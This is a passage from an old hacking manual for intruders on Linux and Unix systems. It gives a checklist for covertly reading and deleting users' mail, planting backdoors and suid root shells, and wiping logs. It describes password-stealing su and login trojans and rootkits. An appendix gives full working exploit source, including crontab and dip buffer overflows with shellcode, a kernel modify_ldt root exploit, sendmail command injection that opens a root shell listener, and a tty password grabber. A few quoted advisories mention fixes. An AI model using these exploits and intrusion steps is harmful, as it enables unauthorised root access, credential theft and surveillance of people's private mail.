- are reading their mail. I use a combo of a few things. Here you go...
-
- 1. cd /var/spool/mail
-
- This will put you into the directory that holds all of the unread mail, or
- waiting mail. Now you can do things like:
-
- grep -i security * |more
- grep -i hack * |more
- grep -i intruder * |more
- grep -i passwd * |more
- grep -i password * |more
-
- Then if needed pico username, and ctrl w to search for your maeesge. You
- can also delete messages if you see some other admin is telling them that
- your user name is hacking their machine from their domain.
-
- For a mail reader that will allow toy to read mail without updating pointers
- try:
-
- http://obsidian.cse.fau.edu/~fc
- has a util on it that can cat /var/spool/mail files without changing the
- last read dates.. ie they have no idea that you have read their mail.
-
- Also remember you can find other system mail in user's directories. Make sure
- to look in the /root directory. Look for /root/mail or username/mail or other
- directories or filders that contain older mail.
-
- Happy Hunting ...
-
- --------------------------------
- Section 7B
- Root and Demon kits and trojans
- --------------------------------
-
- Root kits are C source for ps, login, netstat and sometimes some other
- programs that have been hacked for you. With these kits you will be
- able to replace the login files on the hacked box so that you can login
- without an account on the machine.
-
- You will also be able to patch ps so that you will not show up when an
- admin uses the ps command. With the ps patch you can also have it not show
- processes that have certain file names such as any file that starts with
- 'sniff'.
-
- Demon kits will have hacked programs for identd, login demon, ping, su,
- telnetd, and, socket.
-
- Trojans will be any file that you can use that will allow you to exploit
- the system in some way. An su trojan placed in the admin's directory would
- run the trojan su first after you change the export path for him ;) and report
- back that he typed the wrong passwd and delete the trojan file, but saving
- the password he typed to the /tmp directory.
-
- A login trojan would save all login passwords to a file on the machine
- for you. I think you get the idea ;)
-
- Demon and Linux root kits have been uuencoded and attached to the end of
- appendix VI
-
- ******************************************
- * Appendix I - Things to do after access *
- ******************************************
-
-
- I think in this paper we have covered most of the things you can do after
- access, so I will make this in the style of a checklist from a to z.
-
- a. learn who the admin's are on the system
- b. watch the system with ps -auxe and ps -auxef (if it works) and pstree to
- try and keep track of what others are doing
- c. read all of the bash history files or any history files you can find on the
- machine to learn more yourself, and to learn about the users
- d. make as many backdoor's into the system as you can that you are sure will
- not be found out
- e. keep the access to yourself, don't give out users passwords on the machine
- you get root on.
- f. always clean your utmp and wtmp right away when you login
- g. always clean your mess as you go along, this includes your xferlog and
- messages
- h. if you have root access make sure to read /etc/syslog.conf and
- /etc/login.defs to see how the system is logging
- i. before changing binary files look at the root cron to see what they are
- running.
- j. look for md5 on the system
- k. look for separate ftp logs
- l. make sure to clean the www logs if you ever send phf commands to the server
- m. make an suid root shell and place it somewhere on the system
- n. do only what you are sure of, don't do everything in this hacking manual all
- at once or you are asking to get cought
- o. only use nested directories, do not put files into user directories where
- all they need to do is type ls to see them
- p. don't add user accounts and think they will not notice you.
- q. don't use pine or other mail programs to read users mail. if you want to
- read mail go to the mail dir and read it from unix, new mail you will find
- in /var/spool/mail read it there.
- r. don't change the system so that other programs they have running will not
- work any more, they will be on you like fly's on shit
- s. don't delete files on the system unless you put them there
- t. do not modify their web pages, like i was here ... you are not a hacker you
- are a little kid wanting attention
- u. do not change any passwords on the system (unless you are doing it for
- access and have backed up the passwd file and replace it right after you
- login
- v. do not use any root account machines for irc access, or to load a bot on
- w. if your root account changes or you create files that are owned by the
- wrong group, be sure to chown the files
- x. do not use .rhosts if there is already one there that is being used
- y. never telnet or ftp to your account from the hacked box
- z. don't fuck up their machine! only do what you know how to do.
-
- ****************************************************
- * Appendix II - Hacking / Security WWW / ftp sites *
- ****************************************************
-
- IRC QuantumG #virus
- Quantum's Linux Page
- http://obsidian.me.fau.edu/~quantum
- Nice site for a bit of info and unix exploits!
-
- CyberToast's Files section
- Here you will find a nice selection of hacking, crackers, hex editors, viruses,
- cracks, phreaking, war dialers, scanners, and, misc files.
- www.ilf.net/~toast/files
-
- Reptiles Realm
- A nice site for many linux exploits
- www.users.interport.net/~reptile/linux
-
- FTP site loaded with all kinds of IRC, BOTS, UNIX EXPLOITS, VIRUSES and ZINES!
- http://ftp.giga.or.at/pub/hacker
-
- Linux Security Digest
- Lot's to look at here
- http://king.dom.de/~un/linux-security
-
- Linux Security Alert
- http://bach.cis.temple.edu/linux/linux-security/Linux-Alerts
-
- The Linux Security Home Page
- http://www.ecst.csuchico.edu/~jtmurphy
-
- These are good sites just to get you started, there are many links on these.
- Just make sure to browse in your favorite engine and search for words like:
- hack, linux, unix, crack ect....
-
- *********************************************************
- * Appendix III - More exploits for root or other access *
- *********************************************************
-
-
- ..........................................................................
- . .
- . 1. vixie crontab buffer overflow for RedHat Linux .
- ..........................................................................
-
- If crontab is suid it is more then likely exploitable.
-
-
- -----------cut here
-
- /* vixie crontab buffer overflow for RedHat Linux
- *
- * I don't think too many people know that redhat uses vixie crontab.
- * I didn't find this, just exploited it.
- *
- *
- * Dave G. <daveg@escape.com>
- * 10/13/96
- *
- */
-
- #include <stdio.h>
- #include <sys/types.h>
- #include <stdlib.h>
- #include <fcntl.h>
- #include <unistd.h>
-
- #define DEFAULT_OFFSET -1240
- #define BUFFER_SIZE 100 /* MAX_TEMPSTR is 100 */
- #define HAPPY_FILE "./Window"
-
- long get_esp(void)
- {
- __asm__("movl %esp,%eax\n");
- }
-
- main(int argc, char **argv)
- {
- int fd;
- char *buff = NULL;
- unsigned long *addr_ptr = NULL;
- char *ptr = NULL;
- u_char execshell[] =
- "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
- "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
- "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
-
-
-
- /*
- * The sscanf line reads for 'name' as %[^ =]. Neither a space, nor
- * a '=' character appears below
- */
-
-
- int i;
- int ofs = DEFAULT_OFFSET;
-
- /* if we have a argument, use it as offset, else use default */
- if(argc == 2)
- ofs = atoi(argv[1]);
- else if (argc > 2) {
- fprintf(stderr, "egg [offset]\n");
- exit(-1);
- }
- /* print the offset in use */
- printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);
-
- buff = malloc(4096);
- if(!buff)
- {
- printf("can't allocate memory\n");
- exit(0);
- }
- ptr = buff;
- /* fill start of buffer with nops */
- memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
- ptr += BUFFER_SIZE-strlen(execshell);
- /* stick asm code into the buffer */
- for(i=0;i < strlen(execshell);i++)
- *(ptr++) = execshell[i];
-
- addr_ptr = (long *)ptr;
- for(i=0;i < (878/4);i++)
- *(addr_ptr++) = get_esp() + ofs;
- ptr = (char *)addr_ptr;
- *ptr++ = '=';
- *ptr++ = 'X';
- *ptr++ = '\n';
- *ptr = 0;
- printf("Writing to %s\n", HAPPY_FILE);
-
- /*
- * The sleep is required because as soon as crontab opens the tmp file it
- * stat's and saves it. After the EDITOR program exists it stats again
- * and if they are equal then it assumes changes weren't made and exits.
- */
- fd = open(HAPPY_FILE, O_WRONLY|O_CREAT, 0666);
- write (fd, buff, strlen(buff));
-
- close(fd);
-
- execl("/usr/bin/crontab","crontab",HAPPY_FILE,NULL);
- /* Successful completion */
- exit(0);
- }
- ----------- cut here
-
- ..........................................................................
- . .
- . 2. Root dip exploit .
- . .
- ..........................................................................
-
- in /sbin you will find a symbolic link called dip to a suid root binary.
- Chances are, if this file is suid, it's sploitable.
-
- -------- cut here
-
- #include <unistd.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <fcntl.h>
- #include <sys/stat.h>
- #define PATH_DIP "/sbin/dip"
- u_char shell[] =
- "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
- "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
- "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/hs";
- u_long esp() { __asm__("movl %esp, %eax"); }
- main()
- {
- u_char buf[1024];
- u_long addr;
- int i, f;
-
- strcpy(buf, "chatkey ");
- addr = esp() - 192;
- for (i=8; i<128+16; i+=4)
- *((u_long *) (buf+i)) = addr;
- for (i=128+16; i<512; i++)
- buf[i] = 0x90;
- for (i=0; i<strlen(shell); i++)
- buf[512+i] = shell[i];
- buf[512+i] = '\n';
-
- if ((f = open("/tmp/temp.dip", O_WRONLY|O_TRUNC|O_CREAT, 0600)) < 0) {
- perror("temp.dip");
- exit(0);
- }
- write(f, buf, 512+i);
- close(f);
-
- execl(PATH_DIP, "dip", "/tmp/temp.dip", (char *)0);
- }
-
- ---------- cut here
-
- ..........................................................................
- . .
- . 3. ldt - text by quantumg .
- . .
- ..........................................................................
-
- this one is a little old but I'm rather proud of it so I thought I'd give
- it a praise. in writing the linux kernel the guys who wrote a certain
- section fucked up. they let you stretch and modify the area of memory
- you can access. at first the sploit required a System.map to be in the
- root dir. so the simple solution to the bug was to delete all System.map
- files off the system and remove all the uncompressed kernels (cause you
- can generate a System.map by doing an nm on uncompressed kernels), this
- is now rather stupid cause there are patches for all kernel versions with
- the bug and I have written a version of this sploit that doesn't need a
- System.map.
-
- ---------- cut here
- /* this is a hack of a hack. a valid System.map was needed to get this
- sploit to werk.. but not any longer.. This sploit will give you root
- if the modify_ldt bug werks.. which I beleive it does in any kernel
- before 1.3.20 ..
-
- QuantumG
- */
-
- /* original code written by Morten Welinder.
- *
- * this required 2 hacks to work on the 1.2.13 kernel that I've tested on:
- * 1. asm/sigcontext.h does not exist on 1.2.13 and so it is removed.
- * 2. the _task in the System.map file has no leading underscore.
- * I am not sure at what point these were changed, if you are
- * using this on a newer kernel compile with NEWERKERNEL defined.
- * -ReD
- */
-
- #include <linux/ldt.h>
- #include <stdio.h>
- #include <linux/unistd.h>
- #include <signal.h>
- #ifdef NEWERKERNEL
- #include <asm/sigcontext.h>
- #endif
- #define __KERNEL__
- #include <linux/sched.h>
- #include <linux/module.h>
-
- static inline _syscall1(int,get_kernel_syms,struct kernel_sym *,table);
- static inline _syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount)
-
-
- #define KERNEL_BASE 0xc0000000
- /* ------------------------------------------------------------------------ */
- static __inline__ unsigned char
- __farpeek (int seg, unsigned ofs)
- {
- unsigned char res;
- asm ("mov %w1,%%gs ; gs; movb (%2),%%al"
- : "=a" (res)
- : "r" (seg), "r" (ofs));
- return res;
- }
- /* ------------------------------------------------------------------------ */
- static __inline__ void
- __farpoke (int seg, unsigned ofs, unsigned char b)
- {
- asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"
- : /* No results. */
- : "r" (seg), "r" (ofs), "r" (b));
- }
- /* ------------------------------------------------------------------------ */
- void
- memgetseg (void *dst, int seg, const void *src, int size)
- {
- while (size-- > 0)
- *(char *)dst++ = __farpeek (seg, (unsigned)(src++));
- }
- /* ------------------------------------------------------------------------ */
- void
- memputseg (int seg, void *dst, const void *src, int size)
- {
- while (size-- > 0)
- __farpoke (seg, (unsigned)(dst++), *(char *)src++);
- }
- /* ------------------------------------------------------------------------ */
- int
- main ()
- {
- int stat, i,j,k;
- struct modify_ldt_ldt_s ldt_entry;
- FILE *syms;
- char line[100];
- struct task_struct **task, *taskptr, thistask;
- struct kernel_sym blah[4096];
-
- printf ("Bogusity checker for modify_ldt system call.\n");
-
- printf ("Testing for page-size limit bug...\n");
- ldt_entry.entry_number = 0;
- ldt_entry.base_addr = 0xbfffffff;
- ldt_entry.limit = 0;
- ldt_entry.seg_32bit = 1;
- ldt_entry.contents = MODIFY_LDT_CONTENTS_DATA;
- ldt_entry.read_exec_only = 0;
- ldt_entry.limit_in_pages = 1;
- ldt_entry.seg_not_present = 0;
- stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
- if (stat)
- /* Continue after reporting error. */
- printf ("This bug has been fixed in your kernel.\n");
- else
- {
- printf ("Shit happens: ");
- printf ("0xc0000000 - 0xc0000ffe is accessible.\n");
- }
-
- printf ("Testing for expand-down limit bug...\n");
- ldt_entry.base_addr = 0x00000000;
- ldt_entry.limit = 1;
- ldt_entry.contents = MODIFY_LDT_CONTENTS_STACK;
- ldt_entry.limit_in_pages = 0;
- stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
- if (stat)
- {
- printf ("This bug has been fixed in your kernel.\n");
- return 1;
- }
- else
- {
- printf ("Shit happens: ");
- printf ("0x00000000 - 0xfffffffd is accessible.\n");
- }
-
- i = get_kernel_syms(blah);
- k = i+10;
- for (j=0; j<i; j++)
- if (!strcmp(blah[j].name,"current") || !strcmp(blah[j].name,"_current")) k = j;
- if (k==i+10) { printf("current not found!!!\n"); return(1); }
- j=k;
-
- taskptr = (struct task_struct *) (KERNEL_BASE + blah[j].value);
- memgetseg (&taskptr, 7, taskptr, sizeof (taskptr));
- taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) taskptr);
- memgetseg (&thistask, 7, taskptr, sizeof (thistask));
- if (thistask.pid!=getpid()) { printf("current process not found\n"); return(1); }
- printf("Current process is %i\n",thistask.pid);
- taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) thistask.p_pptr);
- memgetseg (&thistask, 7, taskptr, sizeof (thistask));
- if (thistask.pid!=getppid()) { printf("current process not found\n"); return(1); }
- printf("Parent process is %i\n",thistask.pid);
- thistask.uid = thistask.euid = thistask.suid = thistask.fsuid = 0;
- thistask.gid = thistask.egid = thistask.sgid = thistask.fsgid = 0;
- memputseg (7, taskptr, &thistask, sizeof (thistask));
- printf ("Shit happens: parent process is now root process.\n");
- return 0;
- };
-
- ----------- cut here
-
- ..........................................................................
- . .
- . 4. suid perl - text by quantumg .
- ..........................................................................
-
- In the /usr/bin dir (usually) you will find a suid root binary called
- suidperl. If this file is suid root it is most probably sploitable.
-
- You need to set this file suid
- (chmod 4700 will do it) and execute it to get root.
-
- ---------- cut here
-
- #!/usr/bin/suidperl
- $> = 0; #set effective user id
- $ENV{'PATH'} = '/bin:/usr/bin'; #secure the session
- $ENV{'IFS'} = '' if $ENV{'IFS'} ne '';
- $execpath = "/bin/sh"; #sameol sameol
- $execpath =~ /(.*)/; #untaint the variable
- $boom = $1; #$boom untainted
- system $boom; #run EUID=0 shell
-
- ----------------cut here
-
- ..........................................................................
- . .
- . 5. Abuse Sendmail 8.6.9 .
- . .
- ..........................................................................
-
- -----------cut here
- /* smh.c - atreus - Michael R. Widner (2/27/95)
- * <widner@uchicago.edu> <atreus@primus.com>
- * a quick hack to abuse sendmail 8.6.9 or whatever else is subject to this
- * hole. It's really just a matter of passing newlines in arguments to
- * sendmail and getting the stuff into the queue files. If we run this
- * locally with -odq we are guaranteed that it will be queue, rather than
- * processed immediately.
- * usage: smh [ username [/path/to/sendmail]]
- * It's worth noting that this is generally only good for getting bin.
- * sendmail still wants to process the sendmail.cf file, which contains
- * Ou1 and Og1 most of the time, limiting you to bin access. Is there
- * a way around this?
- * cc -o smh smh.c should do the trick. This just creates a bin owned
- * mode 6777 copy of /bin/sh in /tmp called /tmp/newsh. Note that on some
- * systems this is pretty much worthless, but you're smart enough to know
- * which systems those are. Aren't you?
- bash$ ./smh root /usr/lib/sendmail
- bash$ /usr/lib/sendmail -q
- */
- #include <sys/types.h>
- #include <unistd.h>
- #include <stdlib.h>
-
- /* Take Your Pick */
- #define EVIL_COMMAND1 "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777 /tmp/newsh\">\n$rascii "
- #define EVIL_COMMAND2 "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nR<\"|/bin/echo ingreslock stream tcp nowait root /bin/sh /bin/sh >/tmp/.inetd.conf\">\nR<\"|/usr/sbin/inetd /tmp/.inetd.conf\">\n$rasc
- ii "
-
- main(argc, argv)
- int argc;
- char **argv;
- {
- execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p", EVIL_COMMAND1,
- argv[1] ? argv[1] : "atreus",0);
- }
-
- ----------- cut here
- ..........................................................................
- . .
- . 6. ttysurf - grab someone's tty .
- ..........................................................................
-
- ------------cut here
- #include <stdio.h>
- #include <signal.h>
- #include <fcntl.h>
- #include <errno.h>
- #include <sys/types.h>
- #include <sys/termios.h>
-
- #define DEBUG 1 /* Enable additional debugging info (needed!) */
- #define USLEEP /* Define this if your UNIX supports usleep() */
-
- #ifdef ULTRIX
- #define TCGETS TCGETP /* Get termios structure */
- #define TCSETS TCSANOW /* Set termios structure */
- #endif
-
-
- handler(signal)
- int signal; /* signalnumber */
- { /* do nothing, ignore the signal */
- if(DEBUG) printf("Ignoring signal %d\n",signal);
- }
-
- int readandpush(f,string)
- FILE *f;
- char *string;
- {
- char *cp,*result;
- int e;
- struct termios termios;
-
- result=fgets(string,20,f); /* Read a line into string */
- if (result==NULL)
- { perror("fgets()");
- return(1);
- }
- if (DEBUG)
- { printf("String: %s\n",string);
- fflush(stdout);
- }
-
- ioctl(0,TCGETS,&termios); /* These 3 lines turn off input echo */
- /* echo = (termios.c_lflag & ECHO); */
- termios.c_lflag=((termios.c_lflag | ECHO) - ECHO);
- ioctl(0,TCSETS,&termios);
-
- for (cp=string;*cp;cp++) /* Push it back as input */
- { e=ioctl(0,TIOCSTI,cp);
- if(e<0)
- { perror("ioctl()");
- return(1);
- }
- }
- return(0);
- }
-
- main(argc,argv)
- int argc;
- char *argv[];
- {
- /* variables */
- int err;
- FILE *f;
- char *term = "12345678901234567890";
- char *login = "12345678901234567890";
- char *password = "12345678901234567890";
- if (argc < 2)
- { printf("Usage: %s /dev/ttyp?\nDon't forget to redirect the output to a file !\n",argv[0]);
- printf("Enter ttyname: ");
- gets(term);
- }
- else term=argv[argc-1];
-
- signal(SIGQUIT,handler);
- signal(SIGINT,handler);
- signal(SIGTERM,handler);
- signal(SIGHUP,handler);
- signal(SIGTTOU,handler);
-
- close(0); /* close stdin */
- #ifdef ULTRIX
- if(setpgrp(0,100)==-1)
- perror("setpgrp:"); /* Hopefully this works */
- #else
- if(setsid()==-1)
- perror("setsid:"); /* Disconnect from our controlling TTY and
- start a new session as sessionleader */
- #endif
- f=fopen(term,"r"); /* Open tty as a stream, this guarantees
- getting file descriptor 0 */
- if (f==NULL)
- { printf("Error opening %s with fopen()\n",term);
- exit(2);
- }
- if (DEBUG) system("ps -xu>>/dev/null &");
- fclose(f); /* Close the TTY again */
- f=fopen("/dev/tty","r"); /* We can now use /dev/tty instead */
- if (f==NULL)
- { printf("Error opening /dev/tty with fopen()\n",term);
- exit(2);
- }
-
- if(readandpush(f,login)==0)
- {
- #ifdef USLEEP
- usleep(20000); /* This gives login(1) a chance to read the
- string, or the second call would read the
- input that the first call pushed back ! /*
- #else
- for(i=0;i<1000;i++)
- err=err+(i*i)
- /* error /* Alternatives not yet implemented */
- #endif
- readandpush(f,password);
- printf("Result: First: %s Second: %s\n",login,password);
- }
-
- fflush(stdout);
- sleep(30); /* Waste some time, to prevent that we send a SIGHUP
- to login(1), which would kill the user. Instead,
- wait a while. We then send SIGHUP to the shell of
- the user, which will ignore it. */
- fclose(f);
- }
- --------------cut here
-
- ..........................................................................
- . .
- . 7. shadow.c - Get shadow passwd files .
- . .
- ..........................................................................
-
- ----------- cut here
-
- /* This source will/should print out SHADOWPW passwd files. */
-
- struct SHADOWPW { /* see getpwent(3) */
- char *pw_name;
- char *pw_passwd;
- int pw_uid;
- int pw_gid;
- int pw_quota;
- char *pw_comment;
- char *pw_gecos;
- char *pw_dir;
- char *pw_shell;
- };
- struct passwd *getpwent(), *getpwuid(), *getpwnam();
-
- #ifdef elxsis?
-
- /* Name of the shadow password file. Contains password and aging info */
-
- #define SHADOWPW "/etc/shadowpw"
- #define SHADOWPW_PAG "/etc/shadowpw.pag"
- #define SHADOWPW_DIR "/etc/shadowpw.dir"
- /*
- * Shadow password file pwd->pw_gecos field contains:
- *
- * <type>,<period>,<last_time>,<old_time>,<old_password>
- *
- * <type> = Type of password criteria to enforce (type int).
- * BSD_CRIT (0), normal BSD.
- * STR_CRIT (1), strong passwords.
- * <period> = Password aging period (type long).
- * 0, no aging.
- * else, number of seconds in aging period.
- * <last_time> = Time (seconds from epoch) of the last password
- * change (type long).
- * 0, never changed.n
- * <old_time> = Time (seconds from epoch) that the current password
- * was made the <old_password> (type long).
- * 0, never changed.ewromsinm
- * <old_password> = Password (encrypted) saved for an aging <period> to
- * prevent reuse during that period (type char [20]).
- * "*******", no <old_password>.
- */
-
- /* number of tries to change an aged password */
-
- #define CHANGE_TRIES 3
-
- /* program to execute to change passwords */
-
- #define PASSWD_PROG "/bin/passwd"
-
- /* Name of the password aging exempt user names and max number of entires */
-
- #define EXEMPTPW "/etc/exemptpw"
- #define MAX_EXEMPT 100
-
- /* Password criteria to enforce */
-
- #define BSD_CRIT 0 /* Normal BSD password criteria */
- #define STR_CRIT 1 /* Strong password criteria */
- #define MAX_CRIT 1
- #endif elxsi
- #define NULL 0
- main()
- {
- struct passwd *p;
- int i;
- for (;1;) {;
- p=getpwent();
- if (p==NULL) return;
- printpw(p);
- }
- }
-
- printpw(a)
- struct SHADOWPW *a;
- {
- printf("%s:%s:%d:%d:%s:%s:%s\n",
- a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,
- a->pw_gecos,a->pw_dir,a->pw_shell);
- }
-
- /* SunOS 5.0 /etc/shadow */
- /* SunOS4.1+c2 /etc/security/passwd.adjunct */
-
- ------------ cut here
-
- ..........................................................................
- . .
- . 8. Abuse Root Exploit (linux game program) .
- . .
- ..........................................................................
-
- ---------- cut here
-
- There is a security hole in RedHat 2.1, which installs the game abuse,
- /usr/lib/games/abuse/abuse.console suid root. The abuse.console program
- loads its files without absolute path names, assuming the user is running
- abuse from the /usr/lib/games/abuse directory. One of these files in the
- undrv program, which abuse executes as root. If the user is not in the
- abuse directory when running this, an arbitrary program can be substituted
- for undrv, allowing the user to execute arbitrary commands as root.
- If abuse.console needs to be run by users other than root at the console,
- provisions need to be made in the code to not execute or load any files
- as root.
-
- Program: /usr/lib/games/abuse/abuse.console suid root
- Affected Operating Systems: Red Hat 2.1 linux distribution
- Requirements: account on system
- Patch: chmod -s /usr/lib/games/abuse/abuse.console
- Security Compromise: root
- Author: Dave M. (davem@cmu.edu)
- Synopsis: abuse.console runs undrv without an absolute
- pathname while executing as root, allowing
- a user to substitute the real undrv with
- an arbitrary program.
-
- Exploit:
- #!/bin/sh
- #
- # abuser.sh
- # exploits a security hole in abuse to create
- # a suid root shell /tmp/abuser on a linux
- # Red Hat 2.1 system with the games package
- # installed.
- #
- # For release 2/2/96 - 1 drink credit please.
- #
- # by Dave M. (davem@cmu.edu)
- #
- echo ================ abuser.sh - gain root on Linux Red Hat 2.1 system
- echo ================ Checking system vulnerability
- if test -u /usr/lib/games/abuse/abuse.console
- then
- echo ++++++++++++++++ System appears vulnerable.
- cd /tmp
- cat << _EOF_ > /tmp/undrv
- #!/bin/sh
- /bin/cp /bin/sh /tmp/abuser
- /bin/chmod 4777 /tmp/abuser
- _EOF_
- cat << _EOF_ >> /tmp/the_wall
- so ya thought ya might like to go to the show
- to feel the warm thrill of confusion that space cadet glow
- tell me is something eluding you sunshine?
- is this not what you expected to see?
- if you wanna find out what's behind these cold eyes
- you'll just have to claw your way through this disguise
- _EOF_
- chmod +x /tmp/undrv
- PATH=/tmp
- echo ================ Executing Abuse
- /usr/lib/games/abuse/abuse.console
- /bin/rm /tmp/undrv
- /bin/rm /tmp/the_wall
- if test -u /tmp/abuser
- then
- echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/abuser
- else
- echo ---------------- Exploit failed
- fi
- else
- echo ---------------- This machine does not appear to be vulnerable.
- fi
- ----------- cut here
-
- ..........................................................................
- . .
- . 9. Doom (game) root exploit - makes suid root shell .
- . .
- ..........................................................................
-
-
- ----------- Start reading
- From bo@ebony.iaehv.nl Tue Dec 17 18:53:18 1996
- Date: Tue, 17 Dec 1996 10:18:24 +0100
- From: Bo <bo@ebony.iaehv.nl>
- To: Multiple recipients of list BUGTRAQ <BUGTRAQ@netspace.org>
- Subject: Re: Linux: killmouse/doom
-
- > From: Joe Zbiciak <im14u2c@cegt201.bradley.edu>
- > Subject: Re: Linux: exploit for killmouse.
- >
- > Which reminds me, there's a bigger hole in Doom. It doesn't drop its
- > root permissions soon enough! The user is allowed to set a sound server
- > in his/her .doomrc. Normally, this is set to "sndserver". Howver, this
- > can be set to *any* program, and that program runs as root!!
-
- Yes, very true. And just in case anybody collects these scripts, here's
- the obvious one:
-
- ------------ CUT HERE --------------
- #!/bin/sh
- # Tue Dec 17 10:02:20 MET 1996 Bo
- echo 'sndserver "/tmp/sndserver"' > .doomrc
- cat > /tmp/sndserver.c << EOF
- #include <stdio.h>
- #include <unistd.h>
- main() {
- if (fork()) while (getc(stdin));
- else system("cp /bin/sh /tmp; chmod +s /tmp/sh");
- /* or whatever you like to do */
- }
- EOF
- gcc /tmp/sndserver.c -o /tmp/sndserver
-
- ------------ CUT HERE --------------
-
- The fork() is just so that doom runs on nicely without locking up the
- keyboard and sndserver gobbles up all the sound data send to it. Run
- the script, start sdoom, quit the normal way, and execute /tmp/sh.
-
- Thanks for pointing it out, Joe.
-
- Regards,
- Bo.
-
- --
- "Heisenberg may have been here".
-
- --------------- end of read
-
- ..........................................................................
- . .
- . 10. dosmenu suid root exploit .
- . .
- ..........................................................................
-
-
- --------- read
-
- In Debian 1.1, the optional DOSEMU package installs /usr/sbin/dos
- setuid root. This is a serious security hole which can be exploited
- to gain access to any file on the system.
-
- Package: dosemu
- Version: 0.64.0.2-9
-
- ------- start of cut text --------------
-
- $ cat /etc/debian_version
- 1.1
- $ id
- uid=xxxx(quinlan) gid=xxxx(quinlan) groups=xxxx(quinlan),20(dialout),24(cdrom)
- [quinlan:~]$ ls -al /usr/bin/dos
- -rwsr-xr-x 1 root root 569576 Oct 24 00:05 /usr/bin/dos
- $ ls -al /root/foo
- -rw------- 1 root root 1117 Nov 13 23:10 /root/foo
- $ dos -F /root/foo
- [ Prints /root/foo, which is not readable by user `quinlan'. ]
-
- ------- Cut here
-
- I expect there may be other holes in dosemu other than this one that
- can be exploited if it is installed setuid root. It took about 60
- seconds to find this hole once I realized /usr/bin/dos was setuid
- root.
-
- Dan
-
- Note: This security hole can be corrected by removing the suid bit from
- /usr/bin/dos:
- ----------------------------
- $ chmod u-s /usr/bin/dos
- ----------------------------
-
- Jonathan
-
- ----------- end of read
-
- ..........................................................................
- . .
- . 11. Doom root killmouse exploit .
- . .
- ..........................................................................
-
- System:
- Probably Linux specific. Slackware 3.0 (installs Linux 1.2.13) which
- have gpm utility and/or the Doom package installed are vulnerable.
- Other distributions might be too.
-
- Impact:
- Local users can acquire root status.
-
- Background:
- The problem is the killmouse/startmouse command that is part of Doom
- package on Linux systems. It is actually a C-wrapper that runs two
- scripts (killmouse.sh/startmouse.sh). It runs suid root.
-
- Problem:
- I would try to describe the problem but I can't stop laughing.
-
- Exploit:
- This can be exploited in a few similar ways. Here's just one. Let's
- assume the gpm utility is not running. We can't start it up ourselves
- as gpm is only to be run by root. So we'll use startmouse to fire it up:
-
- $ touch /tmp/gpmkilled
- $ /usr/games/doom/startmouse
-
- ps -aux | grep gpm
- bo 1436 0.0 2.0 40 312 v03 R 16:33 0:00 grep gpm
- root 1407 0.0 2.4 42 368 ? S 16:24 0:00 /usr/bin/gpm t ms
-
- Fine, it's running. Now we'll use killmouse to kill the process, but
- first we set our umask to 0 and link /tmp/gpmkilled to /root/.rhosts:
-
- $ umask 0
- $ ln -s /root/.rhosts /tmp/gpmkilled
- $ /usr/games/doom/killmouse
- 1407 ? S 0:00 gpm t ms
-
- $ ls -l /root/.rhosts
- -rw-rw-rw- 1 root users 0 Dec 13 16:44 /root/.rhosts
-
- $ echo localhost bo > /root/.rhosts
- $ rsh -l root localhost sh -i
- bash#
-
- Bingo. On some systems gpm might not be started in /etc/rc.d/rc.local
- so the startmouse script will fail. But gpm might be running already.
- If neither of these conditions are met, note that startmouse.sh creates
- /tmp/gpmscript and runs it in a shell. There's a window of time between
- creating the script and executing it, so we have a nice race condition
- here; it can be replaced with anything you like prior to execution.
-
- Solution:
- Remove setuid bits of killmouse/startmouse. Better yet - nuke them.
- While your at it, nuke Doom too - it's a stupid game anyway :-)
-
- Best regards,
- Bo (bo@ebony.iaehv.nl)
-
-
- killmouse exploit
- ------------------ cut here
-
- /usr/games/doom/startmouse.sh:
- #!/bin/sh
- if [ -r /tmp/gpmkilled ]; then
- /usr/bin/grep gpm /etc/rc.d/rc.local > /tmp/gpmscript
- /bin/sh /tmp/gpmscript; /bin/rm /tmp/gpmscript /tmp/gpmkilled
- fi
-
- /usr/games/doom/killmouse.sh:
- #!/bin/sh
- if /bin/ps ax | /usr/bin/grep -v grep | /usr/bin/grep "gpm" ; then
- GPM_RUNNING=true; /bin/killall gpm; /bin/touch /tmp/gpmkilled
- fi
-
- ----------- cut here
-
- ..........................................................................
- . .
- . 12. Root exploit for resize icons .
- . .
- ..........................................................................
-
- There is a security hole in RedHat 2.1, which installs the program
- /usr/bin/resizecons suid root. The resizecons program allows a user
- to change the videmode of the console. During this process, it runs
- the program restoretextmode without an absolute pathname, assuming the
- correct version will be found in the path, while running with root
- privileges. It then executes setfont in the same manner. By setting
- the path to find a rogue restoretextmode, a user can execute an arbitrary
- program as root.
-
- As a more amusing aside, the file /tmp/selection.pid is read and the
- pid contained within is sent a SIGWINCH, allowing a user on the system
- to force a redraw of the screen to an arbitrary process (that handles
- SIGWINCH calls) on the machine.
-
- If /usr/bin/resizecons needs to be run by users other than root at the
- console, provisions need to be made in the code to execute the outside
- utilities with absolute pathnames, and to check access rights on files
- before opening.
-
